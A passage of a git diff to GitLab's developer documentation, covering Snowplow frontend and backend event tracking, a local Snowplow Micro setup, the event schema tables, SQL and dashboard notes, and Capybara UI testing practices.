class="btn" + data-track-action="click_button" + data-track-label="template_preview" + data-track-property="my-template" +/> +``` + +Event listeners are bound at the document level to handle click events on or within elements with these data attributes. This allows them to be properly handled on re-rendering and changes to the DOM. Note that because of the way these events are bound, click events should not be stopped from propagating up the DOM tree. If for any reason click events are being stopped from propagating, you need to implement your own listeners and follow the instructions in [Tracking within Vue components](#tracking-within-vue-components) or [Tracking in raw JavaScript](#tracking-in-raw-javascript). + +Below is a list of supported `data-track-*` attributes: + +| attribute | required | description | +|:----------------------|:---------|:------------| +| `data-track-action` | true | Action the user is taking. Clicks must be prepended with `click` and activations must be prepended with `activate`. For example, focusing a form field would be `activate_form_input` and clicking a button would be `click_button`. Replaces `data-track-event`, which was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/290962) in GitLab 13.11. | +| `data-track-label` | false | The `label` as described in our [Structured event taxonomy](#structured-event-taxonomy). | +| `data-track-property` | false | The `property` as described in our [Structured event taxonomy](#structured-event-taxonomy). | +| `data-track-value` | false | The `value` as described in our [Structured event taxonomy](#structured-event-taxonomy). If omitted, this is the element's `value` property or an empty string. For checkboxes, the default value is the element's checked attribute or `false` when unchecked. | +| `data-track-context` | false | The `context` as described in our [Structured event taxonomy](#structured-event-taxonomy). | + +#### Available helpers + +```ruby +tracking_attrs(label, action, property) # { data: { track_label... } } + +%button{ **tracking_attrs('main_navigation', 'click_button', 'navigation') } +``` + +#### Caveats + +When using the GitLab helper method [`nav_link`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/helpers/tab_helper.rb#L76) be sure to wrap `html_options` under the `html_options` keyword argument. +Be careful, as this behavior can be confused with the `ActionView` helper method [`link_to`](https://api.rubyonrails.org/v5.2.3/classes/ActionView/Helpers/UrlHelper.html#method-i-link_to) that does not require additional wrapping of `html_options` + +```ruby +# Bad += nav_link(controller: ['dashboard/groups', 'explore/groups'], data: { track_label: "explore_groups", track_action: "click_button" }) + +# Good += nav_link(controller: ['dashboard/groups', 'explore/groups'], html_options: { data: { track_label: "explore_groups", track_action: "click_button" } }) + +# Good (other helpers) += link_to explore_groups_path, title: _("Explore"), data: { track_label: "explore_groups", track_action: "click_button" } +``` + +### Tracking within Vue components + +There's a tracking Vue mixin that can be used in components if more complex tracking is required. To use it, first import the `Tracking` library and request a mixin. + +```javascript +import Tracking from '~/tracking'; +const trackingMixin = Tracking.mixin({ label: 'right_sidebar' }); +``` + +You can provide default options that are passed along whenever an event is tracked from within your component. For instance, if all events within a component should be tracked with a given `label`, you can provide one at this time. Available defaults are `category`, `label`, `property`, and `value`. If no category is specified, `document.body.dataset.page` is used as the default. + +You can then use the mixin normally in your component with the `mixin` Vue declaration. The mixin also provides the ability to specify tracking options in `data` or `computed`. These override any defaults and allow the values to be dynamic from props, or based on state. + +```javascript +export default { + mixins: [trackingMixin], + // ...[component implementation]... + data() { + return { + expanded: false, + tracking: { + label: 'left_sidebar', + }, + }; + }, +}; +``` + +The mixin provides a `track` method that can be called within the template, +or from component methods. An example of the whole implementation might look like this: + +```javascript +export default { + name: 'RightSidebar', + mixins: [Tracking.mixin({ label: 'right_sidebar' })], + data() { + return { + expanded: false, + }; + }, + methods: { + toggle() { + this.expanded = !this.expanded; + // Additional data will be merged, like `value` below + this.track('click_toggle', { value: Number(this.expanded) }); + } + } +}; +``` + +The event data can be provided with a `tracking` object, declared in the `data` function, +or as a `computed property`. + +```javascript +export default { + name: 'RightSidebar', + mixins: [Tracking.mixin()], + data() { + return { + tracking: { + label: 'right_sidebar', + // category: '', + // property: '', + // value: '', + }, + }; + }, +}; +``` + +The event data can be provided directly in the `track` function as well. +This object will merge with any previously provided options. + +```javascript +this.track('click_button', { + label: 'right_sidebar', +}); +``` + +Lastly, if needed within the template, you can use the `track` method directly as well. + +```html +<template> + <div> + <button data-testid="toggle" @click="toggle">Toggle</button> + + <div v-if="expanded"> + <p>Hello world!</p> + <button @click="track('click_action')">Track another event</button> + </div> + </div> +</template> +``` + +#### Testing example + +```javascript +import { mockTracking } from 'helpers/tracking_helper'; +// mockTracking(category, documentOverride, spyMethod) + +describe('RightSidebar.vue', () => { + let trackingSpy; + let wrapper; + + beforeEach(() => { + trackingSpy = mockTracking(undefined, wrapper.element, jest.spyOn); + }); + + const findToggle = () => wrapper.find('[data-testid="toggle"]'); + + it('tracks turning off toggle', () => { + findToggle().trigger('click'); + + expect(trackingSpy).toHaveBeenCalledWith(undefined, 'click_toggle', { + label: 'right_sidebar', + value: 0, + }); + }); +}); +``` + +### Tracking in raw JavaScript + +Custom event tracking and instrumentation can be added by directly calling the `Tracking.event` static function. The following example demonstrates tracking a click on a button by calling `Tracking.event` manually. + +```javascript +import Tracking from '~/tracking'; + +const button = document.getElementById('create_from_template_button'); + +button.addEventListener('click', () => { + Tracking.event('dashboard:projects:index', 'click_button', { + label: 'create_from_template', + property: 'template_preview', + }); +}); +``` + +#### Testing example + +```javascript +import Tracking from '~/tracking'; + +describe('MyTracking', () => { + let wrapper; + + beforeEach(() => { + jest.spyOn(Tracking, 'event'); + }); + + const findButton = () => wrapper.find('[data-testid="create_from_template"]'); + + it('tracks event', () => { + findButton().trigger('click'); + + expect(Tracking.event).toHaveBeenCalledWith(undefined, 'click_button', { + label: 'create_from_template', + property: 'template_preview', + }); + }); +}); +``` + +## Implementing Snowplow Ruby (Backend) tracking + +GitLab provides `Gitlab::Tracking`, an interface that wraps the [Snowplow Ruby Tracker](https://github.com/snowplow/snowplow/wiki/ruby-tracker) for tracking custom events. + +Custom event tracking and instrumentation can be added by directly calling the `GitLab::Tracking.event` class method, which accepts the following arguments: + +| argument | type | default value | description | +|------------|---------------------------|---------------|-----------------------------------------------------------------------------------------------------------------------------------| +| `category` | String | | Area or aspect of the application. This could be `HealthCheckController` or `Lfs::FileTransformer` for instance. | +| `action` | String | | The action being taken, which can be anything from a controller action like `create` to something like an Active Record callback. | +| `label` | String | nil | As described in [Structured event taxonomy](#structured-event-taxonomy). | +| `property` | String | nil | As described in [Structured event taxonomy](#structured-event-taxonomy). | +| `value` | Numeric | nil | As described in [Structured event taxonomy](#structured-event-taxonomy). | +| `context` | Array\[SelfDescribingJSON\] | nil | An array of custom contexts to send with this event. Most events should not have any custom contexts. | +| `project` | Project | nil | The project associated with the event. | +| `user` | User | nil | The user associated with the event. | +| `namespace` | Namespace | nil | The namespace associated with the event. | +| `extra` | Hash | `{}` | Additional keyword arguments are collected into a hash and sent with the event. | + +Tracking can be viewed as either tracking user behavior, or can be used for instrumentation to monitor and visualize performance over time in an area or aspect of code. + +For example: + +```ruby +class Projects::CreateService < BaseService + def execute + project = Project.create(params) + + Gitlab::Tracking.event('Projects::CreateService', 'create_project', label: project.errors.full_messages.to_sentence, + property: project.valid?.to_s, project: project, user: current_user, namespace: namespace) + end +end +``` + +### Unit testing + +Use the `expect_snowplow_event` helper when testing backend Snowplow events. See [testing best practices]( +https://docs.gitlab.com/ee/development/testing_guide/best_practices.html#test-snowplow-events) for details. + +### Performance + +We use the [AsyncEmitter](https://github.com/snowplow/snowplow/wiki/Ruby-Tracker#52-the-asyncemitter-class) when tracking events, which allows for instrumentation calls to be run in a background thread. This is still an active area of development. + +## Developing and testing Snowplow + +There are several tools for developing and testing Snowplow Event + +| Testing Tool | Frontend Tracking | Backend Tracking | Local Development Environment | Production Environment | Production Environment | +|----------------------------------------------|--------------------|---------------------|-------------------------------|------------------------|------------------------| +| Snowplow Analytics Debugger Chrome Extension | **{check-circle}** | **{dotted-circle}** | **{check-circle}** | **{check-circle}** | **{check-circle}** | +| Snowplow Inspector Chrome Extension | **{check-circle}** | **{dotted-circle}** | **{check-circle}** | **{check-circle}** | **{check-circle}** | +| Snowplow Micro | **{check-circle}** | **{check-circle}** | **{check-circle}** | **{dotted-circle}** | **{dotted-circle}** | +| Snowplow Mini | **{check-circle}** | **{check-circle}** | **{dotted-circle}** | **{status_preparing}** | **{status_preparing}** | + +**Legend** + +**{check-circle}** Available, **{status_preparing}** In progress, **{dotted-circle}** Not Planned + +### Snowplow Analytics Debugger Chrome Extension + +Snowplow Analytics Debugger is a browser extension for testing frontend events. This works on production, staging and local development environments. + +1. Install the [Snowplow Analytics Debugger](https://chrome.google.com/webstore/detail/snowplow-analytics-debugg/jbnlcgeengmijcghameodeaenefieedm) Chrome browser extension. +1. Open Chrome DevTools to the Snowplow Analytics Debugger tab. +1. Learn more at [Igloo Analytics](https://www.iglooanalytics.com/blog/snowplow-analytics-debugger-chrome-extension.html). + +### Snowplow Inspector Chrome Extension + +Snowplow Inspector Chrome Extension is a browser extension for testing frontend events. This works on production, staging and local development environments. + +1. Install [Snowplow Inspector](https://chrome.google.com/webstore/detail/snowplow-inspector/maplkdomeamdlngconidoefjpogkmljm?hl=en). +1. Open the Chrome extension by pressing the Snowplow Inspector icon beside the address bar. +1. Click around on a webpage with Snowplow and you should see JavaScript events firing in the inspector window. + +### Snowplow Micro + +Snowplow Micro is a very small version of a full Snowplow data collection pipeline: small enough that it can be launched by a test suite. Events can be recorded into Snowplow Micro just as they can a full Snowplow pipeline. Micro then exposes an API that can be queried. + +Snowplow Micro is a Docker-based solution for testing frontend and backend events in a local development environment. You need to modify GDK using the instructions below to set this up. + +- Read [Introducing Snowplow Micro](https://snowplowanalytics.com/blog/2019/07/17/introducing-snowplow-micro/) +- Look at the [Snowplow Micro repository](https://github.com/snowplow-incubator/snowplow-micro) +- Watch our <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [installation guide recording](https://www.youtube.com/watch?v=OX46fo_A0Ag) + +1. Ensure Docker is installed and running. + +1. Install [Snowplow Micro](https://github.com/snowplow-incubator/snowplow-micro) by cloning the settings in [this project](https://gitlab.com/gitlab-org/snowplow-micro-configuration): +1. Navigate to the directory with the cloned project, and start the appropriate Docker + container with the following script: + + ```shell + ./snowplow-micro.sh + ``` + +1. Update your instance's settings to enable Snowplow events and point to the Snowplow Micro collector: + + ```shell + gdk psql -d gitlabhq_development + update application_settings set snowplow_collector_hostname='localhost:9090', snowplow_enabled=true, snowplow_cookie_domain='.gitlab.com'; + ``` + +1. Update `DEFAULT_SNOWPLOW_OPTIONS` in `app/assets/javascripts/tracking.js` to remove `forceSecureTracker: true`: + + ```diff + diff --git a/app/assets/javascripts/tracking.js b/app/assets/javascripts/tracking.js + index 0a1211d0a76..3b98c8f28f2 100644 + --- a/app/assets/javascripts/tracking.js + +++ b/app/assets/javascripts/tracking.js + @@ -7,7 +7,6 @@ const DEFAULT_SNOWPLOW_OPTIONS = { + appId: '', + userFingerprint: false, + respectDoNotTrack: true, + - forceSecureTracker: true, + eventMethod: 'post', + contexts: { webPage: true, performanceTiming: true }, + formTracking: false, + + ``` + +1. Update `snowplow_options` in `lib/gitlab/tracking.rb` to add `protocol` and `port`: + + ```diff + diff --git a/lib/gitlab/tracking.rb b/lib/gitlab/tracking.rb + index 618e359211b..e9084623c43 100644 + --- a/lib/gitlab/tracking.rb + +++ b/lib/gitlab/tracking.rb + @@ -41,7 +41,9 @@ def snowplow_options(group) + cookie_domain: Gitlab::CurrentSettings.snowplow_cookie_domain, + app_id: Gitlab::CurrentSettings.snowplow_app_id, + form_tracking: additional_features, + - link_click_tracking: additional_features + + link_click_tracking: additional_features, + + protocol: 'http', + + port: 9090 + }.transform_keys! { |key| key.to_s.camelize(:lower).to_sym } + end + ``` + +1. Update `emitter` in `lib/gitlab/tracking/destinations/snowplow.rb` to change `protocol`: + + ```diff + diff --git a/lib/gitlab/tracking/destinations/snowplow.rb b/lib/gitlab/tracking/destinations/snowplow.rb + index 4fa844de325..5dd9d0eacfb 100644 + --- a/lib/gitlab/tracking/destinations/snowplow.rb + +++ b/lib/gitlab/tracking/destinations/snowplow.rb + @@ -40,7 +40,7 @@ def tracker + def emitter + SnowplowTracker::AsyncEmitter.new( + Gitlab::CurrentSettings.snowplow_collector_hostname, + - protocol: 'https' + + protocol: 'http' + ) + end + end + + ``` + +1. Restart GDK: + + ```shell + `gdk restart` + ``` + +1. Send a test Snowplow event from the Rails console: + + ```ruby + Gitlab::Tracking.event('category', 'action') + ``` + +1. Navigate to `localhost:9090/micro/good` to see the event. + +### Snowplow Mini + +[Snowplow Mini](https://github.com/snowplow/snowplow-mini) is an easily-deployable, single-instance version of Snowplow. + +Snowplow Mini can be used for testing frontend and backend events on a production, staging and local development environment. + +For GitLab.com, we're setting up a [QA and Testing environment](https://gitlab.com/gitlab-org/telemetry/-/issues/266) using Snowplow Mini. + +## Snowplow Schemas + +### `gitlab_standard` + +We are including the [`gitlab_standard` schema](https://gitlab.com/gitlab-org/iglu/-/blob/master/public/schemas/com.gitlab/gitlab_standard/jsonschema/) with every event. See [Standardize Snowplow Schema](https://gitlab.com/groups/gitlab-org/-/epics/5218) for details. + +The [`StandardContext`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/tracking/standard_context.rb) class represents this schema in the application. + +| Field Name | Required | Type | Description | +|----------------|---------------------|-----------------------|---------------------------------------------------------------------------------------------| +| `project_id` | **{dotted-circle}** | integer | | +| `namespace_id` | **{dotted-circle}** | integer | | +| `environment` | **{check-circle}** | string (max 32 chars) | Name of the source environment, such as `production` or `staging` | +| `source` | **{check-circle}** | string (max 32 chars) | Name of the source application, such as `gitlab-rails` or `gitlab-javascript` | +| `extra` | **{dotted-circle}** | JSON | Any additional data associated with the event, in the form of key-value pairs | + +### Default Schema + +| Field Name | Required | Type | Description | +|--------------------------|---------------------|-----------|----------------------------------------------------------------------------------------------------------------------------------| +| `app_id` | **{check-circle}** | string | Unique identifier for website / application | +| `base_currency` | **{dotted-circle}** | string | Reporting currency | +| `br_colordepth` | **{dotted-circle}** | integer | Browser color depth | +| `br_cookies` | **{dotted-circle}** | boolean | Does the browser permit cookies? | +| `br_family` | **{dotted-circle}** | string | Browser family | +| `br_features_director` | **{dotted-circle}** | boolean | Director plugin installed? | +| `br_features_flash` | **{dotted-circle}** | boolean | Flash plugin installed? | +| `br_features_gears` | **{dotted-circle}** | boolean | Google gears installed? | +| `br_features_java` | **{dotted-circle}** | boolean | Java plugin installed? | +| `br_features_pdf` | **{dotted-circle}** | boolean | Adobe PDF plugin installed? | +| `br_features_quicktime` | **{dotted-circle}** | boolean | Quicktime plugin installed? | +| `br_features_realplayer` | **{dotted-circle}** | boolean | RealPlayer plugin installed? | +| `br_features_silverlight` | **{dotted-circle}** | boolean | Silverlight plugin installed? | +| `br_features_windowsmedia` | **{dotted-circle}** | boolean | Windows media plugin installed? | +| `br_lang` | **{dotted-circle}** | string | Language the browser is set to | +| `br_name` | **{dotted-circle}** | string | Browser name | +| `br_renderengine` | **{dotted-circle}** | string | Browser rendering engine | +| `br_type` | **{dotted-circle}** | string | Browser type | +| `br_version` | **{dotted-circle}** | string | Browser version | +| `br_viewheight` | **{dotted-circle}** | string | Browser viewport height | +| `br_viewwidth` | **{dotted-circle}** | string | Browser viewport width | +| `collector_tstamp` | **{dotted-circle}** | timestamp | Time stamp for the event recorded by the collector | +| `contexts` | **{dotted-circle}** | | | +| `derived_contexts` | **{dotted-circle}** | | Contexts derived in the Enrich process | +| `derived_tstamp` | **{dotted-circle}** | timestamp | Timestamp making allowance for inaccurate device clock | +| `doc_charset` | **{dotted-circle}** | string | Web page's character encoding | +| `doc_height` | **{dotted-circle}** | string | Web page height | +| `doc_width` | **{dotted-circle}** | string | Web page width | +| `domain_sessionid` | **{dotted-circle}** | string | Unique identifier (UUID) for this visit of this user_id to this domain | +| `domain_sessionidx` | **{dotted-circle}** | integer | Index of number of visits that this user_id has made to this domain (The first visit is `1`) | +| `domain_userid` | **{dotted-circle}** | string | Unique identifier for a user, based on a first party cookie (so domain specific) | +| `dvce_created_tstamp` | **{dotted-circle}** | timestamp | Timestamp when event occurred, as recorded by client device | +| `dvce_ismobile` | **{dotted-circle}** | boolean | Indicates whether device is mobile | +| `dvce_screenheight` | **{dotted-circle}** | string | Screen / monitor resolution | +| `dvce_screenwidth` | **{dotted-circle}** | string | Screen / monitor resolution | +| `dvce_sent_tstamp` | **{dotted-circle}** | timestamp | Timestamp when event was sent by client device to collector | +| `dvce_type` | **{dotted-circle}** | string | Type of device | +| `etl_tags` | **{dotted-circle}** | string | JSON of tags for this ETL run | +| `etl_tstamp` | **{dotted-circle}** | timestamp | Timestamp event began ETL | +| `event` | **{dotted-circle}** | string | Event type | +| `event_fingerprint` | **{dotted-circle}** | string | Hash client-set event fields | +| `event_format` | **{dotted-circle}** | string | Format for event | +| `event_id` | **{dotted-circle}** | string | Event UUID | +| `event_name` | **{dotted-circle}** | string | Event name | +| `event_vendor` | **{dotted-circle}** | string | The company who developed the event model | +| `event_version` | **{dotted-circle}** | string | Version of event schema | +| `geo_city` | **{dotted-circle}** | string | City of IP origin | +| `geo_country` | **{dotted-circle}** | string | Country of IP origin | +| `geo_latitude` | **{dotted-circle}** | string | An approximate latitude | +| `geo_longitude` | **{dotted-circle}** | string | An approximate longitude | +| `geo_region` | **{dotted-circle}** | string | Region of IP origin | +| `geo_region_name` | **{dotted-circle}** | string | Region of IP origin | +| `geo_timezone` | **{dotted-circle}** | string | Timezone of IP origin | +| `geo_zipcode` | **{dotted-circle}** | string | Zip (postal) code of IP origin | +| `ip_domain` | **{dotted-circle}** | string | Second level domain name associated with the visitor's IP address | +| `ip_isp` | **{dotted-circle}** | string | Visitor's ISP | +| `ip_netspeed` | **{dotted-circle}** | string | Visitor's connection type | +| `ip_organization` | **{dotted-circle}** | string | Organization associated with the visitor's IP address – defaults to ISP name if none is found | +| `mkt_campaign` | **{dotted-circle}** | string | The campaign ID | +| `mkt_clickid` | **{dotted-circle}** | string | The click ID | +| `mkt_content` | **{dotted-circle}** | string | The content or ID of the ad. | +| `mkt_medium` | **{dotted-circle}** | string | Type of traffic source | +| `mkt_network` | **{dotted-circle}** | string | The ad network to which the click ID belongs | +| `mkt_source` | **{dotted-circle}** | string | The company / website where the traffic came from | +| `mkt_term` | **{dotted-circle}** | string | Keywords associated with the referrer | +| `name_tracker` | **{dotted-circle}** | string | The tracker namespace | +| `network_userid` | **{dotted-circle}** | string | Unique identifier for a user, based on a cookie from the collector (so set at a network level and shouldn't be set by a tracker) | +| `os_family` | **{dotted-circle}** | string | Operating system family | +| `os_manufacturer` | **{dotted-circle}** | string | Manufacturers of operating system | +| `os_name` | **{dotted-circle}** | string | Name of operating system | +| `os_timezone` | **{dotted-circle}** | string | Client operating system timezone | +| `page_referrer` | **{dotted-circle}** | string | Referrer URL | +| `page_title` | **{dotted-circle}** | string | Page title | +| `page_url` | **{dotted-circle}** | string | Page URL | +| `page_urlfragment` | **{dotted-circle}** | string | Fragment aka anchor | +| `page_urlhost` | **{dotted-circle}** | string | Host aka domain | +| `page_urlpath` | **{dotted-circle}** | string | Path to page | +| `page_urlport` | **{dotted-circle}** | integer | Port if specified, 80 if not | +| `page_urlquery` | **{dotted-circle}** | string | Query string | +| `page_urlscheme` | **{dotted-circle}** | string | Scheme (protocol name) | +| `platform` | **{dotted-circle}** | string | The platform the app runs on | +| `pp_xoffset_max` | **{dotted-circle}** | integer | Maximum page x offset seen in the last ping period | +| `pp_xoffset_min` | **{dotted-circle}** | integer | Minimum page x offset seen in the last ping period | +| `pp_yoffset_max` | **{dotted-circle}** | integer | Maximum page y offset seen in the last ping period | +| `pp_yoffset_min` | **{dotted-circle}** | integer | Minimum page y offset seen in the last ping period | +| `refr_domain_userid` | **{dotted-circle}** | string | The Snowplow `domain_userid` of the referring website | +| `refr_dvce_tstamp` | **{dotted-circle}** | timestamp | The time of attaching the `domain_userid` to the inbound link | +| `refr_medium` | **{dotted-circle}** | string | Type of referer | +| `refr_source` | **{dotted-circle}** | string | Name of referer if recognised | +| `refr_term` | **{dotted-circle}** | string | Keywords if source is a search engine | +| `refr_urlfragment` | **{dotted-circle}** | string | Referer URL fragment | +| `refr_urlhost` | **{dotted-circle}** | string | Referer host | +| `refr_urlpath` | **{dotted-circle}** | string | Referer page path | +| `refr_urlport` | **{dotted-circle}** | integer | Referer port | +| `refr_urlquery` | **{dotted-circle}** | string | Referer URL query string | +| `refr_urlscheme` | **{dotted-circle}** | string | Referer scheme | +| `se_action` | **{dotted-circle}** | string | The action / event itself | +| `se_category` | **{dotted-circle}** | string | The category of event | +| `se_label` | **{dotted-circle}** | string | A label often used to refer to the 'object' the action is performed on | +| `se_property` | **{dotted-circle}** | string | A property associated with either the action or the object | +| `se_value` | **{dotted-circle}** | decimal | A value associated with the user action | +| `ti_category` | **{dotted-circle}** | string | Item category | +| `ti_currency` | **{dotted-circle}** | string | Currency | +| `ti_name` | **{dotted-circle}** | string | Item name | +| `ti_orderid` | **{dotted-circle}** | string | Order ID | +| `ti_price` | **{dotted-circle}** | decimal | Item price | +| `ti_price_base` | **{dotted-circle}** | decimal | Item price in base currency | +| `ti_quantity` | **{dotted-circle}** | integer | Item quantity | +| `ti_sku` | **{dotted-circle}** | string | Item SKU | +| `tr_affiliation` | **{dotted-circle}** | string | Transaction affiliation (such as channel) | +| `tr_city` | **{dotted-circle}** | string | Delivery address: city | +| `tr_country` | **{dotted-circle}** | string | Delivery address: country | +| `tr_currency` | **{dotted-circle}** | string | Transaction Currency | +| `tr_orderid` | **{dotted-circle}** | string | Order ID | +| `tr_shipping` | **{dotted-circle}** | decimal | Delivery cost charged | +| `tr_shipping_base` | **{dotted-circle}** | decimal | Shipping cost in base currency | +| `tr_state` | **{dotted-circle}** | string | Delivery address: state | +| `tr_tax` | **{dotted-circle}** | decimal | Transaction tax value (such as amount of VAT included) | +| `tr_tax_base` | **{dotted-circle}** | decimal | Tax applied in base currency | +| `tr_total` | **{dotted-circle}** | decimal | Transaction total value | +| `tr_total_base` | **{dotted-circle}** | decimal | Total amount of transaction in base currency | +| `true_tstamp` | **{dotted-circle}** | timestamp | User-set exact timestamp | +| `txn_id` | **{dotted-circle}** | string | Transaction ID | +| `unstruct_event` | **{dotted-circle}** | JSON | The properties of the event | +| `uploaded_at` | **{dotted-circle}** | | | +| `user_fingerprint` | **{dotted-circle}** | integer | User identifier based on (hopefully unique) browser features | +| `user_id` | **{dotted-circle}** | string | Unique identifier for user, set by the business using setUserId | +| `user_ipaddress` | **{dotted-circle}** | string | IP address | +| `useragent` | **{dotted-circle}** | string | User agent (expressed as a browser string) | +| `v_collector` | **{dotted-circle}** | string | Collector version | +| `v_etl` | **{dotted-circle}** | string | ETL version | +| `v_tracker` | **{dotted-circle}** | string | Identifier for Snowplow tracker | diff --git a/doc/development/sql.md b/doc/development/sql.md index 8726c1331e8..a98645cfcae 100644 --- a/doc/development/sql.md +++ b/doc/development/sql.md @@ -313,9 +313,9 @@ Project.from("(#{union.to_sql}) projects") ## Ordering by Creation Date -When ordering records based on the time they were created you can simply order +When ordering records based on the time they were created, you can order by the `id` column instead of ordering by `created_at`. Because IDs are always -unique and incremented in the order that rows are created this will produce the +unique and incremented in the order that rows are created, doing so will produce the exact same results. This also means there's no need to add an index on `created_at` to ensure consistent performance as `id` is already indexed by default. @@ -367,3 +367,12 @@ retries if it were to fail because of an To be able to use this method, make sure the model you want to use this on inherits from `ApplicationRecord`. + +## Monitor SQL queries in production + +GitLab team members can monitor slow or canceled queries on GitLab.com +using the PostgreSQL logs, which are indexed in Elasticsearch and +searchable using Kibana. + +See [the runbook](https://gitlab.com/gitlab-com/runbooks/-/blob/master/docs/patroni/pg_collect_query_data.md#searching-postgresql-logs-with-kibanaelasticsearch) +for more details. diff --git a/doc/development/stage_group_dashboards.md b/doc/development/stage_group_dashboards.md index e75237869ba..58e998e46a8 100644 --- a/doc/development/stage_group_dashboards.md +++ b/doc/development/stage_group_dashboards.md @@ -18,6 +18,55 @@ The list of dashboards for each stage group is accessible at <https://dashboards The dashboards for stage groups are at a very early stage. All contributions are welcome. If you have any questions or suggestions, please submit an issue in the [Scalability Team issues tracker](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/new). +## Dashboard content + +### Error budget + +Read more about how we are using error budgets overall in our +[handbook](https://about.gitlab.com/handbook/engineering/error-budgets/). + +By default, the first row of panels on the dashbhoard will show the [error +budget for the stage +group](https://about.gitlab.com/handbook/engineering/error-budgets/#budget-spend-by-stage-group). This +row shows how the features owned by +the group are contributing to our [overall +availability](https://about.gitlab.com/handbook/engineering/infrastructure/performance-indicators/#gitlabcom-availability). + +The budget is always aggregated over the 28 days before the [time +selected on the dashboard](#time-range-controls). + +We're currently displaying the information in 2 formats: + +1. Availability: This number can be compared to GitLab.com's overall + availability target of 99.95% uptime. +1. Budget Spent: This shows the time over the past 28 days that + features owned by the group have not been performing adequately. + +We're still discussing which of these is more understandable, please +contribute in +[Scalability issue #946](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/946) +if you have thoughts on this topic. + +The budget is calculated based on indicators per component. Each +component has 2 indicators: + +1. [Apdex](https://en.wikipedia.org/wiki/Apdex): The rate of + operations that performed adequately. +1. Error rate: The rate of operations that had errors. + +The calculation to a ratio then happens as follows: + +```math +\frac {operations\_meeting\_apdex + (total\_operations - operations\_with_\errors)} {total\_apdex\_measurements + total\_operations} +``` + +*Caveat:* Not all components are included, causing the +calculation to be less accurate for some groups. We're working on +adding all components in +[&437](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/437). This +could cause the dashboard to display "No Data" for features with lower +traffic. + ## Usage Inside a stage group dashboard, there are some notable components. Let's take the [Source Code group's dashboard](https://dashboards.gitlab.net/d/stage-groups-source_code/stage-groups-group-dashboard-create-source-code?orgId=1) as an example. diff --git a/doc/development/testing_guide/best_practices.md b/doc/development/testing_guide/best_practices.md index ee8401e08d4..828e9925d46 100644 --- a/doc/development/testing_guide/best_practices.md +++ b/doc/development/testing_guide/best_practices.md @@ -86,7 +86,7 @@ a parent context. Examples of these are: - `:clean_gitlab_redis_cache` which provides a clean Redis cache to the examples. - `:request_store` which provides a request store to the examples. -Obviously we should reduce test dependencies, and avoiding +We should reduce test dependencies, and avoiding capabilities also reduces the amount of set-up needed. `:js` is particularly important to avoid. This must only be used if the feature @@ -350,12 +350,140 @@ writing one](testing_levels.md#consider-not-writing-a-system-test)! - It's ok to look for DOM elements, but don't abuse it, because it makes the tests more brittle -#### Debugging Capybara +#### UI testing -Sometimes you may need to debug Capybara tests by observing browser behavior. +When testing the UI, write tests that simulate what a user sees and how they interact with the UI. +This means preferring Capybara's semantic methods and avoiding querying by IDs, classes, or attributes. + +The benefits of testing in this way are that: + +- It ensures all interactive elements have an [accessible name](../fe_guide/accessibility.md#provide-accessible-names-for-screen-readers). +- It is more readable, as it uses more natural language. +- It is less brittle, as it avoids querying by IDs, classes, and attributes, which are not visible to the user. + +We strongly recommend that you query by the element's text label instead of by ID, class name, or `data-testid`. + +If needed, you can scope interactions within a specific area of the page by using `within`. +As you will likely be scoping to an element such as a `div`, which typically does not have a label, +you may use a `data-testid` selector in this case. + +##### Actions + +Where possible, use more specific [actions](https://rubydoc.info/github/teamcapybara/capybara/master/Capybara/Node/Actions), such as the ones below. + +```ruby +# good +click_button 'Submit review' + +click_link 'UI testing docs' + +fill_in 'Search projects', with: 'gitlab' # fill in text input with text + +select 'Last updated', from: 'Sort by' # select an option from a select input + +check 'Checkbox label' +uncheck 'Checkbox label' + +choose 'Radio input label' + +attach_file('Attach a file', '/path/to/file.png') + +# bad - interactive elements must have accessible names, so +# we should be able to use one of the specific actions above +find('.group-name', text: group.name).click +find('.js-show-diff-settings').click +find('[data-testid="submit-review"]').click +find('input[type="checkbox"]').click +find('.search').native.send_keys('gitlab') +``` + +##### Finders + +Where possible, use more specific [finders](https://rubydoc.info/github/teamcapybara/capybara/master/Capybara/Node/Finders), such as the ones below. + +```ruby +# good +find_button 'Submit review' +find_button 'Submit review', disabled: true + +find_link 'UI testing docs' +find_link 'UI testing docs', href: docs_url + +find_field 'Search projects' +find_field 'Search projects', with: 'gitlab' # find the input field with text +find_field 'Search projects', disabled: true +find_field 'Checkbox label', checked: true +find_field 'Checkbox label', unchecked: true + +# acceptable when finding a element that is not a button, link, or field +find('[data-testid="element"]') +``` + +##### Matchers + +Where possible, use more specific [matchers](https://rubydoc.info/github/teamcapybara/capybara/master/Capybara/RSpecMatchers), such as the ones below. + +```ruby +# good +expect(page).to have_button 'Submit review' +expect(page).to have_button 'Submit review', disabled: true +expect(page).to have_button 'Notifications', class: 'is-checked' # assert the "Notifications" GlToggle is checked + +expect(page).to have_link 'UI testing docs' +expect(page).to have_link 'UI testing docs', href: docs_url # assert the link has an href + +expect(page).to have_field 'Search projects' +expect(page).to have_field 'Search projects', disabled: true +expect(page).to have_field 'Search projects', with: 'gitlab' # assert the input field has text + +expect(page).to have_checked_field 'Checkbox label' +expect(page).to have_unchecked_field 'Radio input label' + +expect(page).to have_select 'Sort by' +expect(page).to have_select 'Sort by', selected: 'Last updated' # assert the option is selected +expect(page).to have_select 'Sort by', options: ['Last updated', 'Created date', 'Due date'] # assert an exact list of options +expect(page).to have_select 'Sort by', with_options: ['Created date', 'Due date'] # assert a partial list of options + +expect(page).to have_text 'Some paragraph text.' +expect(page).to have_text 'Some paragraph text.', exact: true # assert exact match + +expect(page).to have_current_path 'gitlab/gitlab-test/-/issues' + +expect(page).to have_title 'Not Found' + +# acceptable when a more specific matcher above is not possible +expect(page).to have_css 'h2', text: 'Issue title' +expect(page).to have_css 'p', text: 'Issue description', exact: true +expect(page).to have_css '[data-testid="weight"]', text: 2 +expect(page).to have_css '.atwho-view ul', visible: true +``` + +##### Other useful methods + +After you retrieve an element using a [finder method](#finders), you can invoke a number of +[element methods](https://rubydoc.info/github/teamcapybara/capybara/master/Capybara/Node/Element) +on it, such as `hover`. + +Capybara tests also have a number of [session methods](https://rubydoc.info/github/teamcapybara/capybara/master/Capybara/Session) available, such as `accept_confirm`. + +Some other useful methods are shown below: + +```ruby 